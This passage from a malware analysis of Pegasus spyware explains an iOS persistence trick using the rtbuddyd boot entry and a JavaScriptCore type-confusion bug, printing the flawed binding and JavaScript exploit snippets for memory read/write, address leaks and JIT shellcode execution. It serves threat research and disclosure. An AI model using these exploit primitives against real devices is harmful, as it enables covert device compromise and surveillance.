<key>rtbuddy</key><dict><key>ProgramArguments</key><array><string>rtbuddyd</string> <string>--
early-boot</string></array><key>PerformInRestore</key><true/><key>RequireSuccess</key> 
<true/><key>Program</key><string>/usr/libexec/rtbuddyd</string></dict> 

As a result of this behavior, any signed binary on the system can be executed at boot with a 
single argument. By creating a symlink named --early-boot within the current working 
directory, an arbitrary file can be passed as the first argument to the arbitrary signed binary that 
has been copied to the rtbuddyd location.  
 
The second issue leveraged in this persistence mechanism is a vulnerability within the 
JavaScriptCore binary. Pegasus leverages the previously described behavior in order to 
execute the jsc binary (JavaScriptCore) by copying it to the path /usr/libexec/rtbuddyd. 
Arbitrary JavaScript code can then be executed by creating a symlink named --early-boot 
that points to a file containing the code to be executed at boot time. Pegasus then exploits a bad 
cast in the jsc binary to execute unsigned code and re-exploit the kernel.  

JavaScriptCore Memory Corruption Issue 
The issue exists within the setImpureGetterDelegate() JavaScript binding (which is backed by 
functionSetImpureGetterDelegate).  
 
EncodedJSValue JSC_HOST_CALL functionSetImpureGetterDelegate(ExecState* exec) 
{ 
    JSLockHolder lock(exec); 
    JSValue base = exec->argument(0); 
    if (!base.isObject()) 
        return JSValue::encode(jsUndefined()); 
    JSValue delegate = exec->argument(1); 
    if (!delegate.isObject()) 
        return JSValue::encode(jsUndefined()); 
    ImpureGetter* impureGetter = jsCast<ImpureGetter*>(asObject(base.asCell())); 
    impureGetter->setDelegate(exec->vm(), asObject(delegate.asCell())); 
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    return JSValue::encode(jsUndefined()); 
} 

 
This binding takes two arguments: the first is an ImpureGetter, and the second is a generic 
JSObject that will be set as the ImpureGetter’s delegate. The issue results from the lack of 
validation that the JSObject passed as the first argument is in fact a well-formed ImpureGetter. 
When another object type is passed as the first argument, the object pointer will be improperly 
downcast to an ImpureGetter pointer.  
 
Subsequently, when the m_delegate member is set via setDelegate(), a pointer to the JSObject 
passed as the second argument will be written to the offset that aligns with m_delegate (16 
bytes into the supplied object). This issue can be used to create a primitive that allows a pointer 
to an arbitrary JSObject to be written 16 bytes into any other JSObject. 
 

Exploitation 
Pegasus leverages this issue to achieve unsigned code execution from within an iOS 
application context. In order to gain control of execution flow, the exploit uses a number of 
DataView objects. DataViews are used because they provide a trivial mechanism to read and 
write arbitrary offsets into a vector. The DataView object also conveniently has a pointer to the 
backing buffer at its 16 byte offset. Using these corrupted DataView objects, the exploit sets up 
the tools needed to gain arbitrary native code execution - namely, a read/write primitive and the 
ability to leak the address of an arbitrary JavaScript object. Once this setup is complete, the 
exploit can create an executable mapping containing the native code payload. The following 
sections detail the various stages of this process. 
 

Acquiring an arbitrary read/write primitive  
A read/write primitive for arbitrary offsets into a DataView object can be obtained using the 
following code snippet. 
 
var dummy_ab = new ArrayBuffer(0x20); 
var dataview_init_rw = new DataView(dummy_ab); 
... 
var dataview_rw = new DataView(dummy_ab); 
… 
setImpureGetterDelegate(dataview_init_rw, dataview_rw); 
 
First, two DataViews are created using a dummy ArrayBuffer as the backing vector for both. 
Next, the issue is exploited to corrupt the m_vector member of the dataview_init_rw object with 
a pointer to the dataview_rw object. Subsequent reads and writes into the dataview_init_rw 
DataView will allow arbitrary members of the dataview_rw to be leaked or overwritten. Next, 
control over this object is used to gain a read/write primitive for the entirety of process memory. 
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var DATAVIEW_ARRAYBUFFER_OFFSET = 0x10; 
var DATAVIEW_BYTELENGTH_OFFSET = DATAVIEW_ARRAYBUFFER_OFFSET + 4; 
var DATAVIEW_MODE_OFFSET = DATAVIEW_BYTELENGTH_OFFSET + 4; 
var FAST_TYPED_ARRAY_MODE = 0; 
dataview_init_rw.setUint32(DATAVIEW_ARRAYBUFFER_OFFSET, 0, true); 
… 
dataview_init_rw.setUint32(DATAVIEW_BYTELENGTH_OFFSET, 0xFFFFFFFF, true); 
… 
dataview_init_rw.setUint8(DATAVIEW_MODE_OFFSET, FAST_TYPED_ARRAY_MODE, true); 
 
Three offsets into the dataview_rw DataView are written. First, the pointer to the backing vector 
is pointed to the zero address. Then the length of the DataView is set to 0xFFFFFFFF, 
effectively setting the DataView to map all of the virtual memory of the process. Last, the mode 
is set to a simple type (i.e., FastTypedArray), allowing trivial calculations of the offset into a 
DataView given a virtual address. The dataview_rw DataView now provides an arbitrary 
read/write primitive via the getType and setType methods it exposes. 

Leaking an object address 
The last primitive needed is the ability to leak the virtual memory address of an arbitrary 
JavaScript object. The primitive is achieved using the same issue exploited above to leak the 
address of a single object instead of exposing the entire memory space. 
 
var dummy_ab = new ArrayBuffer(0x20); 
... 
var dataview_leak_addr = new DataView(dummy_ab); 
var dataview_dv_leak = new DataView(dummy_ab); 
setImpureGetterDelegate(dataview_dv_leak, dataview_leak_addr); 
... 
setImpureGetterDelegate(dataview_leak_addr, object_to_leak); 
leaked_addr = dataview_dv_leak.getUint32(DATAVIEW_ARRAYBUFFER_OFFSET, true); 
 
Again, two DataViews are created using a dummy ArrayBuffer as the backing vector for both. 
Next, the issue is exploited to corrupt the m_vector member of the dataview_dv_leak object with 
a pointer to the dataview_leak_addr object. To leak the address of an arbitrary JavaScript 
object, the issue is triggered a second time. This time, the m_vector of the dataview_leak_addr 
DataView is corrupted with the address of the object that is being leaked. Finally, the dword 
residing at the 16th byte offset into the dataview_dv_leak DataView can be read to obtain the 
address of the target object. 
 

Unsigned native code execution 
Pegasus uses the same mechanism to gain code execution in this exploit as used in the stage 1 
Safari exploit. The exploit creates an executable mapping that will contain the shellcode to be 
executed. To accomplish this purpose, a JSFunction object is created (containing hundreds of 
empty try/catch blocks that will later be overwritten). To help ensure that the JavaScript will be 
compiled into native code by the JIT, the function is subsequently called repeatedly. Given the 
nature of the JavaScriptCore library, this JIT-compiled native code will reside in an area of 
memory that is mapped as read/write/execute.  
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var body = '' 
for (var k = 0; k < 0x600; k++) { 
  body += 'try {} catch(e) {};'; 
} 
var to_overwrite =  new Function('a', body); 
for (var i = 0; i < 0x10000; i++) { 
  to_overwrite(); 
} 
 
The address of this JSFunction object can then be leaked and the various members can be 
read to acquire the address of the RWX mapping. The JITed try/catch blocks are then 
overwritten with shellcode, and the to_overwrite() function can simply be called to achieve 
arbitrary code execution. 
 




